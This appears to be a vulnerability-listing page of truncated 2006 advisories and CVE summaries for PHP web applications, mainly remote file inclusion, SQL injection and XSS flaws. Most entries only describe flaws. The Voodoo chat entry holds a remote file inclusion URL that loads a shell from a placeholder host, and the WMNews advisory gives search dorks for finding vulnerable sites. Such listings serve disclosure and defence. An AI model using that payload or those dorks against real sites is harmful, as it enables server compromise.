NewsLetter <= 3.5 (NL_PATH) Remote File Inclusion Vulnerability

No description provided by source. ================================================================= NewsLetter v3.5 = NLPATH Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://knusperleicht.at/ | |...

Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion

================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script Path/index.php?filepath=http://SHELLURL.COM?...

CVE-2006-3919

SQL injection vulnerability in index.php in SD Studio CMS allows remote attackers to execute arbitrary SQL commands via the 1 newsid, 2 tid, and 3 pageid parameters...

WMNewsInclude.txt

Advisory: WMNews Remote File Include Vulnerability Release Date: 2006/07/26 Author: uNfz Critical Level: High Contact: [email protected] Vendor: Warta Mikael -------------------- -------------------- Searching / Dork: allinurl: .php?Artid= allinurl: .php?ArtCat= allinurl: wmprint.php allinurl:...

CVE-2006-3919

CVE-2006-3919 concerns a SQL injection in SD Studio CMS, specifically in index.php. The vulnerability allows remote attackers to inject arbitrary SQL through the parameters (1) news_id, (2) tid, and (3) page_id. CVSS v2 base score is 7.5 (HIGH) with network attack vector, low attack complexity, n...

CVE-2006-3919

SQL injection vulnerability in index.php in SD Studio CMS allows remote attackers to execute arbitrary SQL commands via the 1 newsid, 2 tid, and 3 pageid parameters...

CVE-2006-3905

SQL injection vulnerability in Webland MyBloggie 2.1.3 allows remote attackers to execute arbitrary SQL commands via the 1 postid parameter in index.php and 2 search function...

CVE-2006-3905

Affected software: Webland MyBloggie 2.1.3. Vulnerability: SQL injection allowing remote attackers to execute arbitrary SQL commands via (1) the post_id parameter in index.php and (2) the search functionality. Root cause: unsafely constructed SQL queries exposed to user-controlled inputs. Impact:...

CVE-2006-3902

Cross-site scripting XSS vulnerability in index.php in phpFaber TopSites 2.0.9 allows remote attackers to inject arbitrary web script or HTML via the icat parameter. NOTE: the provenance of this information is unknown; the details are obtained from third party information...

CVE-2006-3852

The provided records identify CVE-2006-3852 as a Cross-site Scripting (XSS) vulnerability in index.php of Micro GuestBook. The vulnerability path involves the (1) name or (2) comment ("text") fields, reportedly enabling remote attackers to execute arbitrary SQL commands. The description explicitl...

CVE-2006-3833

index.php in EJ3 TOPo 2.2.178 allows remote attackers to overwrite existing entries and establish new passwords for the overwritten entries via a URL with a modified entry ID...

Loudblog index.php id Parameter SQL Injection

The remote host is running Loudblog, a PHP application for publishing podcasts and similar media files. The version of Loudblog installed on the remote host fails to sanitize input to the 'id' parameter of the 'index.php' script before using it in a database query. This may allow an unauthenticat...

CVE-2006-3823

CVE-2006-3823 describes an SQL injection in GeodesicSolutions’ index.php affecting two products: GeoAuctions Premier 2.0.3 and GeoClassifieds Basic 2.0.3. The vulnerability occurs when exploiting the b parameter in index.php, allowing remote attackers to execute arbitrary SQL commands. According ...

CVE-2006-3770

Multiple SQL injection vulnerabilities in index.php in phpFaber TopSites 2.0.9 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 icat or 2 method parameters...

CVE-2006-3775

SQL injection vulnerability in the init function in classsession.php in MyBB aka MyBulletinBoard 1.1.5 allows remote attackers to execute arbitrary SQL commands via the CLIENT-IP HTTP header $SERVER'HTTPCLIENTIP' variable, as utilized by index.php...

CVE-2006-3777

The vulnerability (CVE-2006-3777) affects IDevSpot PhpLinkExchange 1.0. It is a PHP remote file inclusion in index.php, exploitable by supplying a crafted URL in the page parameter, allowing an attacker to execute arbitrary PHP code on the server. The described impact is partial confidentiality, ...

CVE-2006-3770

The CVE-2006-3770 entry covers multiple SQL injection flaws in phpFaber TopSites (index.php) affecting version 2.0.9 and earlier. The underlying issue is unsecured handling of the (1) i_cat and (2) method parameters, enabling remote attackers to alter SQL queries and potentially compromise data. ...

CVE-2006-3769

Multiple cross-site scripting XSS vulnerabilities in Top XL 1.1 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 pass and 2 pass2 parameters in a add.php or the 3 id parameter in b members/index.php...

CVE-2006-3757

CVE-2006-3757 affects Zen Cart 1.3.0.2. The vulnerability in index.php allows remote attackers to obtain sensitive information by passing empty (GET, SESSION, POST, COOKIE, SESSION) parameters, causing an error message that reveals the installation path. The description notes this may stem from a...

CVE-2006-3757

index.php in Zen Cart 1.3.0.2 allows remote attackers to obtain sensitive information via empty 1 GET, 2 SESSION, 3 POST, 4 COOKIE, or 5 SESSION array parameters, which reveals the installation path in an error message. NOTE: this issue might be resultant from a global overwrite vulnerability...